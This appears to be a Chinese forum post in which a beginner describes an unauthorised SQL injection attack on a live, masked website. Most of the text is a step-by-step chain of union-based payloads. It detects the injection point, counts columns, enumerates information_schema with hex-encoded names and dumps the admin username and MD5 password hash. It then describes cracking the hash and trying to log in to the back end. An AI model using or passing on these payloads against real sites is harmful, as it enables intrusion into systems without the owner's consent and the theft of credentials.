最近開始學習web安全的知識,剛好學完mysql注入這塊,趕緊找個網站練練手,整個過程很順利,但是結果很操蛋。我還是個小菜鳥,各位大神看了輕噴......
站點:http://www.xxx.org/xxx.php?id=6(馬賽克遮體)
1.注入點檢測
http://www.xxx.org/xxx.php?id=6 and 1=1 結果正常
http://www.xxx.org/xxx.php?id=6 and 1=2 結果爲空
勤奮的孩子運氣不會差,一出手就發現了注入點,下面就開始一步步開搞。
2.猜查詢字段
http://www.xxx.org/xxx.php?id=6 order by 10 頁面顯示錯誤,說明查詢的字段數小於10,縮小範圍再試
http://www.xxx.org/xxx.php?id=6 order by 5 頁面顯示錯誤,繼續縮小
http://www.xxx.org/xxx.php?id=6 order by 4 頁面顯示正常,說明查詢的字段數就是4,接下來就可以進一步收集信息了
3.信息收集
http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,database(),user(),version() 從結果中得到三個信息,第一數據庫名稱zadmin_aaa(化名),第二用戶名,第三版本號5.5.49,看到版本號第一反應就是可以利用information_schema來搞事情了。
4.爆表名
http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=0x7A61646D696E5F616161
這裏有點要注意,就是庫名要轉成16進制來查詢,zadmin_aaa轉完爲0x7A61646D696E5F616161。
從執行結果可以看到有下面幾個表:xxx_User,xxx_category,xxx_content,很明顯xxx_User就是我們要爆的表
5.爆字段名
http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x7878785F55736572
同樣的表名也要轉成16進制來查詢。
執行結果爆出三個字段,id,password,username(真是個簡單的表),有了字段有了表名,當然就可以獲取登錄名和密碼了
6.爆username和password值
http://www.xxx.org/xxx.php?id=6 and 1=2 union select 1,2,3,group_concat(id,0x27,password,0x27,username) from xxx_User
執行結果:1|admin|55f069b9e8bd8b58c40a25feb5e505ca
接下來就是破解md5,沒什麼好介紹,網上一堆工具可用
賬號密碼都在收了,接下來當然後登錄後臺,然後打開後臺的那一刻我懵逼了,後臺頁面上只有一個錯誤提示,根本就沒有登錄框。。。。我彷彿看到了站長猥瑣的笑容。這次本意是練習注入,並不想搞太多事情,所以也就就此打住,文章水平不高,看到的大佬們,請輕噴。。。。